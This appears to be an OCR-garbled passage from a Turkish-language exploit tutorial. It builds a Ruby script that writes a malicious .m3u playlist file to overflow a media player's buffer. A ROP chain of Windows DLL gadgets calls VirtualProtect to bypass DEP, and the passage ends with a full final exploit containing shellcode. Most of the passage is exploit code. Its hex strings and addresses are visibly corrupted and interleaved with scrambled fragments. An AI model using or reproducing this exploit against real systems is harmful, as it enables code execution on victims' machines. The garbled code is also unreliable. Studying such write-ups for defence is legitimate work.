# ESI = OxO000FF734

# EAX'i shellcode size'a esitliyoruz VP()'nin 3.parametresi olarak
rop << [0x77C4EODA].pack("V*") # POP EAX + RETN > msvcrt.dll

rop << [OxFFFFFBFF].pack("V*") # NEG(OxFFFFFBFF) = 0x00000400

rop << [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN > msvcrt.dll

rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX'i (0x300) ESI+20'ye tasiyoruz.. VP()'nin 3.parametresi

rop << [0x775DD86D].pack("V*") # MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX +
POP EBP + RETN 4 > ole32.d11

rop << [0x41414141].pack("V*") # trash for POP ESI

rop << [0x41414141].pack("V*") # trash for POP EBX

rop << [0x41414141].pack("V*") # trash for POP EBP

# ESI tekrar kurtarildi
rop << [0x77C34DC2].pack("V*")
rop << [0x41414141].pack("V*")
rop << [0x14141414].pack("V*")
rop << [0x775D131E].pack("V*")

# MOV EAX,EDI + POP ESI + RET

# trash for RETN 4

# trash for POP ESI

# PUSH EAX + POP ESI + RETN > ole32.d1ll
# EAX'1i VP()'nin 4.parametresi olan 0x40'a esitliyoruz..

rop << [0x100307A9].pack("V*") # XOR EAX, EAX + RETN > MSRMfilter03.dll
rop << [0x7C972250].pack("V*") # ADD EAX,40 + POP EBP + RETN > ntdll.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# ESI+24'e EAX(0x40)'i yazdiriyoruz..

rop << [0x77ECF538].pack("V*") # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN >
RPCRT4.d1l1l

rop << [0x41414141].pack("V*") # trash for POP ESI

nops = ("\x90" * 100)

shellcode = ("\xCC" * 350)

junk2 = ("\xCC" * (600 - shellcode.length))

payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"
File.open("rop2.m3u", "w") { |f]|

f.write(payload)
}



Stack'in Son Durumu

Stack son durumu yukaridaki gibi. VP()'nin tiim parametrelerini istedigimiz sekilde ayarladik. Simdi tek
yapmamiz gereken ESP'yi VP()'nin baslangicina (0x000FF748) esitlemek ve RETN ile yeni ESP'ye
donmek ve DEP'i bypass etmek.

Ik olarak EAX"1 tekrar kurtarmam lazim. Ne gerek var EDI'yi kullan diyebilirsiniz belki ama EDI ile ¢ok
fazla gadget bulunamayabiliyor. Bu yiizden yine MOV EAX,EDI + POP ESI + RETN gadget1 ile EAX'1
tekrar 0x000FF734 degerine esitliyorum.

rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x41414141].pack("V*") # trash for POP ESI

Asagidaki resimden gorebileceginiz lizere VirtualProtect'in adresi ve parametreleri 0x000FF748
adresinden itibaren basliyor. O zaman benim EAX'"1 0x14 (20d) kadar arttirmam ve ardindan EAX'1
ESP'ye tasimam lazim.

EAX'" arttirmak i¢in bulabildigim gadget'lar 0x77C1F2CF adresindeki ADD EAX,0C + RETN ve
0x1001D2AC adresindeki ADD EAX,4 + RETN gadget'lar1. Gadget'lar1 asagidaki sekilde ¢aligtirarak
EAX'1 0x000FF748'e esitliyorum. Ardindan 0x77C15EDS adresinde bulmus oldugum XCHG ESP,EAX
+ RETN gadget'r ilede ESP'yi 0x000FF748 EAX"1 ise ESP'nin degerine esitliyorum (Bu asamadan sonra
cok onemli degil EAX'in basina gelenler).

Bingo! VP() fonksiyonu basartyla ¢agirildi, shellcode'umun bulundugu alan kod ¢alistirilabilir hale
getirildi ve shellcode'um calist!
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Son olarak exploit'imin son hali:

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize
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Exploit ¢aligtirildiktan sonra

eip = [0x1002DC2A].pack("V*") # RET

# rop
rop
rop
rop
rop <<
rop <<
# EDI,

payload

"FFFF"

[0x5AD79277] .pack("V*")
[0x77C34DC2] .pack("V*")
[Oxffffffld4].pack("V*")
[0x775D131E] .pack("V*")
ESI ve EAX saved ESP'ye

<<
<<

rop <<
rop <<

[0x77C22894] .pack("V*")
[0x41414141] .pack("V*")

# VirtualProtect Placeholder
rop << [0x7C801AD4].pack("V*")
rop << [0x44444444] .pack("V*")
rop << [0x45454545]. ("vx")
rop << [0x46464646]. ("vx")
rop << [0x47474747]. ("vx")
rop << [0x10035005]. ("vx")

<<
<<

[0x61616161]
[0x61616161]

rop
rop

.pack("V*")
.pack("Vv*")

# PUSH ESP + MOV EAX, EDX + POP EDI + RET
# MOV EAX,EDI + POP ESI + RET

# trash for POP

# PUSH EAX + POP ESI + RETN > ole32.d1l
sahipler

# ADD ESP,20 + POP EBP + RET
# trash for POP EBP

# VirtualProtect from kernel32.dl1l

# some padding for add esp,20
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# EAX'i shellcode'a isaret ettiriyoruz
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX
# EDI
# ESI

Ox000FF834
Ox000FF734
Ox000FF734

# Overwrite first & second parameter of VP()

rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:
[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.dl1

rop << [0x41414141].pack("V*") # trash for POP ESI

rop << [0x41414141].pack("V*") # trash for POP EBp

# EAX
# EDI
# ESI
rop <<
rop <<
rop <<
rop <<

# EAX
# EDI
# ESI

Ox000FF834

OxO00FF734

0x41414141
[0x77C34DC2]
[0x14141414]
[0x62626262]
[0x775D131E]

Ox000FF734
Ox000FF734
Ox000FF734

.pack("'
.pack("v*"
.pack("
.pack("'

V* n

)
)
V*II)
V*u)

#
#
#
#

MOV EAX,EDI + POP ESI + RET

trash for RETN 4

trash for POP ESI

PUSH EAX + POP ESI + RETN > ole32.d1ll

# EAX'i shellcode size'a esitliyoruz VP() 'nin 3.parametresi olarak

rop <<
rop <<
rop <<
rop <<

[0x77C4EQDA]
[OXFFFFFBFF]
[0x77C1D1E3]
[0x41414141]

.pack("

.pack("Vv*")
.pack("Vv*")
.pack(" )

AVER

#
#
#

V*") # POP EAX + RETN > msvcrt.dll

NEG(OxFFFFFBFF) = 0x00000400
NEG EAX + POP EBP + RETN > msvcrt.dll
trash for POP EBP

# EAX'i (0x300) ESI+20'ye tasiyoruz.. VP()'nin 3.parametresi
rop << [0x775DD86D].pack("V*")
POP EBP + RETN 4 > ole32.dll

rop << [0x41414141].pack("V*")
rop << [0x41414141].pack("V*")
rop << [0x41414141].pack("V*")

# ESI tekrar kurtarildi

rop <<
rop <<
rop <<
rop <<

# EAX'i VP()'nin 4.parametresi

[0x77C34DC2]
[0x41414141]
[0x14141414]
[0x775D131E]

.pack("' )
.pack( )
.pack('V*")
.pack("V*")

V*II
SAVEL

VER

rop << [0x100307A9].pack("V*")
rop << [0x7C972250].pack("V*")
rop << [0x41414141].pack("V*")

#

H* HH

HoHH H

MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX +

trash for POP ESI
trash for POP EBX
trash for POP EBP

MOV EAX,EDI + POP ESI + RET

trash for RETN 4

trash for POP ESI

PUSH EAX + POP ESI + RETN > ole32.d1ll

olan 0x40'a esitliyoruz..

#
#
#

XOR EAX, EAX + RETN > MSRMfilter03.dll
ADD EAX,40 + POP EBP + RETN > ntdll.d1ll
trash for POP EBP

# ESI+24'e EAX(0x40)'i yazdiriyoruz..

rop << [0x77ECF538].pack("V*") # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN >
RPCRT4.d11
rop << [0x41414141].pack("V*") # trash for POP ESI

# Trying to point ESP to EAX

rop <<
rop <<
rop <<
rop <<
rop <<
rop <<

[0x77C34DC2]
[0x41414141]
[0x77C1F2CF]
[0x1001D2AC]
[0x1001D2AC]
[0x77C15ED5]

.pack

.pack("V*"
.pack("Vv*"
.pack(
.pack("Vv*"
.pack("v*"
(!

(
)
)
IV*")
)
)
)

AVER

VP()!)

# MOV EAX,EDI + POP ESI + RET

# trash for POP ESI

# ADD EAX,0C + RETN > msvcrt.dll

# ADD EAX,4 + RETN > MSRMfilter03.dll
# ADD EAX,4 + RETN > MSRMfilter03.dll
# XCHG ESP,EAX + RETN > msvcrt.dll

# shellcode to execute from stack when ROP success
nops = ("\x90" * 100)
shellcode = "\xbb\Xxfd\x1c\xT5\x42\xd9\xcO\xd9\x74\x24\xT4\x5d\x33\xc9" +
"\xbI\x33\x31\x5d\x12\x03\x5d\x12\x83\x10\xe0\x17\xb7\x16" +
"\XxTf1\x51\x38\xe6\x02\x02\xb0O\x03\x33\x10\xab6\x40\x66\xad" +



"\xac\x04\x8b\x4f\xe0\xbc\x18\x3d\x2d\xb3\xa9\x88\x0b\xfa"
"\x2a\x3d\x94\ x50\ xe8\ x5\ x68\xaa\x3d\x80\x51\x65\x30\xcl"
"\x96\x9b\xbb\x93\x4f\xd0\x6e\x04\xfb\xad\xb2\x25\x2b\xa3"
"\x8b\x5d\x4e\x73\x7f\xd4\x51\xa3\xd0\x63\x19\x5b\x5a\x2b"
"\xba\x5a\x8f\x2Tf\x86\x15\xa4\x84\x7c\xad\x6c\xd5\x7d\x97"
"\x50\xba\x43\x18\x5d\xc2\x84\x9e\xbe\xb1l\xfe\xdd\x43\xc2"
"\Xc4\x9c\x9T\x47\xd9\x06\x6b\xFF\x39\xb7\xb8\x66\xc9\xbb"
"\x75\xec\x95\xdf\x88\x21\xae\xdb\x01\xc4\x61\x6a\x51\xe3"
"\xa5\x37\x01\x8a\xfc\x9d\xed4\xb3\x1f\x79\x58\x16\x6b\x6b"
"\x8d\x20\x36\xel\x50\xa0\x4c\x4c\x52\xba\x4e\xfe\x3b\x8b"
"\Xxc5\x91\x3c\x14\x0c\xd6\xb3\x5e\x0d\x7e\x5c\x07\xc7\xc3"
"\x01\xb8\x3d\x07\x3c\x3b\xb4\xT7\xbb\x23\xbd\xf2\x80\xe3"
"\x2d\x8e\x99\x81\x51\x3d\ x99\ x83\x31\xa0\x09\x4f\x98\x47"
"\xaa\xea\xe4"

junk2 = ("\xCC" * (600 - shellcode.length))

payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

+

puts "Payload size : #{rop.length}"

File.open("rop2.m3u", "w") { |f]
f.write(payload)
}

Bu makaleyi burada bitiriyorum. Biraz uzun oldu ise kusura bakmayn sanirim yazacak ¢ok sey vard. lyi
ROP'lamalar :>
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